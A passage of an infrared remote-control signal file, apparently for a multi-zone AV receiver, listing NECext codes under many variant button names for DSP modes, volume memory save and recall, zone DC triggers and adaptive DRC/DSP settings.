DSP_NEO6_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6A 00 00 00 +# +name: DECOD:_NEO6_MUSI +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6A 00 00 00 +# +name: PROGRAM_NEO:6_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6A 00 00 00 +# +name: SUR_NEO6_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6A 00 00 00 +# +name: SUR_NEO6_MUSIC +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6A 00 00 00 +# +name: VOL_MEM_A +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6B 00 00 00 +# +name: VOLUME_MEMORY_A +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6B 00 00 00 +# +name: PRESET_MEMORY_A +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6B 00 00 00 +# +name: MZ:_VOL_P_MEM_A +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6B 00 00 00 +# +name: MZ:_VOL_MEM_SAVE_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6B 00 00 00 +# +name: MZ_VOL_MEM_SAVE_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6B 00 00 00 +# +name: MZ:_VL_P_MEM_A +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6B 00 00 00 +# +name: MZ_VOL_MEM:_SAVE_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6B 00 00 00 +# +name: VOL_MEMORY_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6B 00 00 00 +# +name: VOL._MEMORY_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6B 00 00 00 +# +name: VOLUME_MEMORY:_A +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6B 00 00 00 +# +name: MZ:_VOL_MEM_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6B 00 00 00 +# +name: VOLUME_BANK_MEMORY_A +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6B 00 00 00 +# +name: MZ:_VOL_MEM_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6B 00 00 00 +# +name: VOL_MEM_B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6C 00 00 00 +# +name: VOLUME_MEMORY_B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6C 00 00 00 +# +name: PRESET_MEMORY_B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6C 00 00 00 +# +name: MZ:_VOL_P_MEM_B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6C 00 00 00 +# +name: MZ:_VOL_MEM_SAVE_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6C 00 00 00 +# +name: MZ_VOL_MEM_SAVE_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6C 00 00 00 +# +name: MZ:_VL_P_MEM_B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6C 00 00 00 +# +name: MZ_VOL_MEM:_SAVE_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6C 00 00 00 +# +name: VOL_MEMORY_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6C 00 00 00 +# +name: VOL._MEMORY_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6C 00 00 00 +# +name: VOLUME_MEMORY:_B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6C 00 00 00 +# +name: MZ:_VOL_MEM_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6C 00 00 00 +# +name: MZ:_VOL_MEM_7 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6C 00 00 00 +# +name: VOLUME_BANK_MEMORY_B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6C 00 00 00 +# +name: MZ:_VOL_MEM_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6C 00 00 00 +# +name: VOL_MEM_C +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6D 00 00 00 +# +name: VOLUME_MEMORY_C +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6D 00 00 00 +# +name: PRESET_MEMORY_C +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6D 00 00 00 +# +name: MZ:_VOL_P_MEM_C +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6D 00 00 00 +# +name: MZ:_VOL_MEM_SAVE_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6D 00 00 00 +# +name: MZ_VOL_MEM_SAVE_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6D 00 00 00 +# +name: MZ:_VL_P_MEM_C +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6D 00 00 00 +# +name: MZ_VOL_MEM:_SAVE_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6D 00 00 00 +# +name: VOL_MEMORY_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6D 00 00 00 +# +name: VOL._MEMORY_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6D 00 00 00 +# +name: VOLUME_MEMORY:_C +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6D 00 00 00 +# +name: MZ:_VOL_MEM_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6D 00 00 00 +# +name: MZ:_VOL_MEM_8 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6D 00 00 00 +# +name: VOLUME_BANK_MEMORY_C +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6D 00 00 00 +# +name: MZ:_VOL_MEM_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6D 00 00 00 +# +name: VOL_MEM_D +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6E 00 00 00 +# +name: VOLUME_MEMORY_D +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6E 00 00 00 +# +name: PRESET_MEMORY_D +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6E 00 00 00 +# +name: MZ:_VOL_P_MEM_D +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6E 00 00 00 +# +name: MZ:_VOL_MEM_SAVE_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6E 00 00 00 +# +name: MZ_VOL_MEM_SAVE_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6E 00 00 00 +# +name: MZ:_VL_P_MEM_D +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6E 00 00 00 +# +name: MZ_VOL_MEM:_SAVE_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6E 00 00 00 +# +name: VOL_MEMORY_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6E 00 00 00 +# +name: VOL._MEMORY_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6E 00 00 00 +# +name: VOLUME_MEMORY:_D +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6E 00 00 00 +# +name: MZ:_VOL_MEM_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6E 00 00 00 +# +name: MZ:_VOL_MEM_9 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6E 00 00 00 +# +name: VOLUME_BANK_MEMORY_D +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6E 00 00 00 +# +name: MZ:_VOL_MEM_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6E 00 00 00 +# +name: VIDEO_PRESET_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6E 00 00 00 +# +name: VOL_MEM_E +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6F 00 00 00 +# +name: VOLUME_MEMORY_E +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6F 00 00 00 +# +name: PRESET_MEMORY_E +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6F 00 00 00 +# +name: MZ:_VOL_P_MEM_E +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6F 00 00 00 +# +name: MZ:_VOL_MEM_SAVE_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6F 00 00 00 +# +name: MZ_VOL_MEM_SAVE_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6F 00 00 00 +# +name: MZ:_VL_P_MEM_E +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6F 00 00 00 +# +name: MZ_VOL_MEM:_SAVE_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6F 00 00 00 +# +name: VOL_MEMORY_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6F 00 00 00 +# +name: VOL._MEMORY_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6F 00 00 00 +# +name: VOLUME_MEMORY:_E +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6F 00 00 00 +# +name: MZ:_VOL_MEM_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6F 00 00 00 +# +name: MZ:_VOL_MEM_10 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6F 00 00 00 +# +name: VOLUME_BANK_MEMORY_E +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6F 00 00 00 +# +name: MZ:_VOL_MEM_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6F 00 00 00 +# +name: VIDEO_PRESET_5 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 6F 00 00 00 +# +name: VOL_MEM_F +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 70 00 00 00 +# +name: VOLUME_MEMORY_F +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 70 00 00 00 +# +name: PRESET_MEMORY_F +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 70 00 00 00 +# +name: MZ:_VOL_P_MEM_F +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 70 00 00 00 +# +name: MZ:_VOL_MEM_SAVE_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 70 00 00 00 +# +name: MZ_VOL_MEM_SAVE_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 70 00 00 00 +# +name: MZ:_VL_P_MEM_F +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 70 00 00 00 +# +name: MZ_VOL_MEM:_SAVE_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 70 00 00 00 +# +name: VOL_MEMORY_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 70 00 00 00 +# +name: VOL._MEMORY_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 70 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 70 00 00 00 +# +name: VOLUME_MEMORY:_F +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 70 00 00 00 +# +name: MZ:_VOL_MEM_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 70 00 00 00 +# +name: MZ:_VOL_REC_7 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 70 00 00 00 +# +name: VOLUME_BANK_MEMORY_F +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 70 00 00 00 +# +name: MZ:_VOL_MEM_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 70 00 00 00 +# +name: VIDEO_PRESET_6 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 70 00 00 00 +# +name: DC1_TRG_Z2_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 71 00 00 00 +# +name: Z2_DC1_TRG_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 71 00 00 00 +# +name: 12V:_DC1_Z2_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 71 00 00 00 +# +name: DC1_TRIG_Z2_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 71 00 00 00 +# +name: ZONE2_DC1_TRG_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 71 00 00 00 +# +name: DC1_TRG_ZONE_2_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 71 00 00 00 +# +name: DC1_TRIGGER_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 71 00 00 00 +# +name: TRIGGER_ZONE_2_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 71 00 00 00 +# +name: Z2:_DC1_TRIGGER_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 71 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 71 00 00 00 +# +name: 12V:_DC2_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 71 00 00 00 +# +name: DC1_TRG_Z2_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 71 00 00 00 +# +name: MZ:_VOL_REC_8 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 71 00 00 00 +# +name: ZONE2_DC_TRG_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 71 00 00 00 +# +name: TRIGGER_1_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 71 00 00 00 +# +name: TRIGGER_1_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 71 00 00 00 +# +name: DC1_TRG_Z2_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 72 00 00 00 +# +name: Z2_DC1_TRG_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 72 00 00 00 +# +name: 12V:_DC1_Z2_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 72 00 00 00 +# +name: DC1_TRIG_Z2_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 72 00 00 00 +# +name: ZONE2_DC1_TRG_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 72 00 00 00 +# +name: DC1_TRG_ZONE_2_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 72 00 00 00 +# +name: DC1_TRIGGER_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 72 00 00 00 +# +name: TRIGGER_ZONE_2_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 72 00 00 00 +# +name: Z2:_DC1_TRIGGER_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 72 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 72 00 00 00 +# +name: 12V:_DC2_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 72 00 00 00 +# +name: DC1_TRG_Z2_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 72 00 00 00 +# +name: MZ:_VOL_REC_9 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 72 00 00 00 +# +name: ZONE2_DC_TRG_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 72 00 00 00 +# +name: TRIGGER_1_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 72 00 00 00 +# +name: TRIGGER_1_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 72 00 00 00 +# +name: DC1_TRG_Z1_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 73 00 00 00 +# +name: ZONE1_DC1_TRG_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 73 00 00 00 +# +name: 12V:_DC1_Z1_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 73 00 00 00 +# +name: DC1_TRIG_Z1_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 73 00 00 00 +# +name: DC1_TRG_ZONE_1_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 73 00 00 00 +# +name: DC1_TRIGGER_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 73 00 00 00 +# +name: TRIGGER_ZONE_1_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 73 00 00 00 +# +name: MAIN:DC1_TRIGGER_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 73 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 73 00 00 00 +# +name: 12V:_DC1_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 73 00 00 00 +# +name: DC1_TRG_Z1_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 73 00 00 00 +# +name: DC1_TRIG_MZ_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 73 00 00 00 +# +name: MZ:_VOL_REC_10 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 73 00 00 00 +# +name: DC_TRIGGER_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 73 00 00 00 +# +name: TRIGGER:_1_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 73 00 00 00 +# +name: TRIGGER:_1_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 73 00 00 00 +# +name: DC1_TRG_Z1_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 74 00 00 00 +# +name: ZONE1_DC1_TRG_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 74 00 00 00 +# +name: 12V:_DC1_Z1_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 74 00 00 00 +# +name: DC1_TRIG_Z1_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 74 00 00 00 +# +name: ADAPTIVE_DRC_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 74 00 00 00 +# +name: DC1_TRG_ZONE_1_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 74 00 00 00 +# +name: DC1_TRIGGER_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 74 00 00 00 +# +name: DSP_A-DRC_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 74 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 74 00 00 00 +# +name: TRIGGER_ZONE_1_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 74 00 00 00 +# +name: MAIN:DC1_TRIGGER_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 74 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 74 00 00 00 +# +name: 12V:_DC1_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 74 00 00 00 +# +name: DC1_TRG_Z1_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 74 00 00 00 +# +name: DC1_TRIG_MZ_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 74 00 00 00 +# +name: MENU_ADRC_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 74 00 00 00 +# +name: MZ:_ADAP-DRC_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 74 00 00 00 +# +name: DC_TRIGGER_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 74 00 00 00 +# +name: TRIGGER:_1_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 74 00 00 00 +# +name: ADAP_DRC_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 74 00 00 00 +# +name: TRIGGER:_1_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 74 00 00 00 +# +name: ADAP_DRC_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 74 00 00 00 +# +name: VOL_RECALL_A +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 75 00 00 00 +# +name: VOLUME_RECALL_A +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 75 00 00 00 +# +name: PRESET_RECALL_A +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 75 00 00 00 +# +name: MZ:_VOL_P_RECL_A +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 75 00 00 00 +# +name: MZ:_VOL_MEM_LOAD_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 75 00 00 00 +# +name: MZ_VOL_MEM_LOAD_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 75 00 00 00 +# +name: ADAPTIVE_DRC_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 75 00 00 00 +# +name: MZ:_VL_P_RECL_A +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 75 00 00 00 +# +name: MZ_VOL_MEM:_LOAD_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 75 00 00 00 +# +name: VOL_RECALL_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 75 00 00 00 +# +name: DSP_A-DRC_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 75 00 00 00 +# +name: VOLUME_1_LOAD +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 75 00 00 00 +# +name: VOL._RECALL_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 75 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 75 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 75 00 00 00 +# +name: VOLUME_RECALL:_A +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 75 00 00 00 +# +name: MENU_ADRC_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 75 00 00 00 +# +name: MZ:_VOL_REC_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 75 00 00 00 +# +name: MZ:_ADAP-DRC_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 75 00 00 00 +# +name: VOLUME_BANK_RECALL_A +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 75 00 00 00 +# +name: ADAP_DRC_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 75 00 00 00 +# +name: MZ:_VOL_REC_1 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 75 00 00 00 +# +name: ADAP_DRC_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 75 00 00 00 +# +name: VOL_RECALL_B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 76 00 00 00 +# +name: VOLUME_RECALL_B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 76 00 00 00 +# +name: PRESET_RECALL_B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 76 00 00 00 +# +name: MZ:_VOL_P_RECL_B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 76 00 00 00 +# +name: MZ:_VOL_MEM_LOAD_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 76 00 00 00 +# +name: MZ_VOL_MEM_LOAD_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 76 00 00 00 +# +name: ADAPTIVE_DSP_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 76 00 00 00 +# +name: MZ:_VL_P_RECL_B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 76 00 00 00 +# +name: MZ_VOL_MEM:_LOAD_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 76 00 00 00 +# +name: VOL_RECALL_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 76 00 00 00 +# +name: DSP_A-DSP_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 76 00 00 00 +# +name: VOL._RECALL_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 76 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 76 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 76 00 00 00 +# +name: VOLUME_RECALL:_B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 76 00 00 00 +# +name: MENU_ADSP_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 76 00 00 00 +# +name: MZ:_VOL_REC_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 76 00 00 00 +# +name: MZ:_ADAP-DSP_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 76 00 00 00 +# +name: VOLUME_BANK_RECALL_B +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 76 00 00 00 +# +name: ADAP_DSP_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 76 00 00 00 +# +name: MZ:_VOL_REC_2 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 76 00 00 00 +# +name: ADAP_DSP_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 76 00 00 00 +# +name: VOL_RECALL_C +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 77 00 00 00 +# +name: VOLUME_RECALL_C +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 77 00 00 00 +# +name: PRESET_RECALL_C +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 77 00 00 00 +# +name: MZ:_VOL_P_RECL_C +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 77 00 00 00 +# +name: MZ:_VOL_MEM_LOAD_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 77 00 00 00 +# +name: MZ_VOL_MEM_LOAD_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 77 00 00 00 +# +name: ADAPTIVE_DSP_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 77 00 00 00 +# +name: MZ:_VL_P_RECL_C +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 77 00 00 00 +# +name: MZ_VOL_MEM:_LOAD_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 77 00 00 00 +# +name: VOL_RECALL_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 77 00 00 00 +# +name: DSP_A-DSP_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 77 00 00 00 +# +name: VOL._RECALL_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 77 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 77 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 77 00 00 00 +# +name: VOLUME_RECALL:_C +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 77 00 00 00 +# +name: MENU_ADSP_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 77 00 00 00 +# +name: MZ:_VOL_REC_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 77 00 00 00 +# +name: MZ:_ADAP-DSP_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 77 00 00 00 +# +name: VOLUME_BANK_RECALL_C +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 77 00 00 00 +# +name: ADAP_DSP_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 77 00 00 00 +# +name: MZ:_VOL_REC_3 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 77 00 00 00 +# +name: ADAP_DSP_OFF +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 77 00 00 00 +# +name: VOL_RECALL_D +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 78 00 00 00 +# +name: VOLUME_RECALL_D +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 78 00 00 00 +# +name: PRESET_RECALL_D +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 78 00 00 00 +# +name: MZ:_VOL_P_RECL_D +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 78 00 00 00 +# +name: MZ:_VOL_MEM_LOAD_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 78 00 00 00 +# +name: MZ_VOL_MEM_LOAD_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 78 00 00 00 +# +name: MZ:_VL_P_RECL_D +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 78 00 00 00 +# +name: MZ_VOL_MEM:_LOAD_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 78 00 00 00 +# +name: VOL_RECALL_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 78 00 00 00 +# +name: VOL._RECALL_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 78 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 78 00 00 00 +# +name: VOLUME_RECALL:_D +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 78 00 00 00 +# +name: MZ:_VOL_REC_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 78 00 00 00 +# +name: VCXO:_ON +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 78 00 00 00 +# +name: VOLUME_BANK_RECALL_D +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 78 00 00 00 +# +name: MZ:_VOL_REC_4 +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 78 00 00 00 +# +name: VOL_RECALL_E +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 79 00 00 00 +# +name: VOLUME_RECALL_E +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 79 00 00 00 +# +name: PRESET_RECALL_E +type: parsed +protocol: NECext +address: 7E 00 00 00 +command: 79 00 00 00 +# +name: MZ:_VOL_P_RECL_E +type: parsed +protocol: 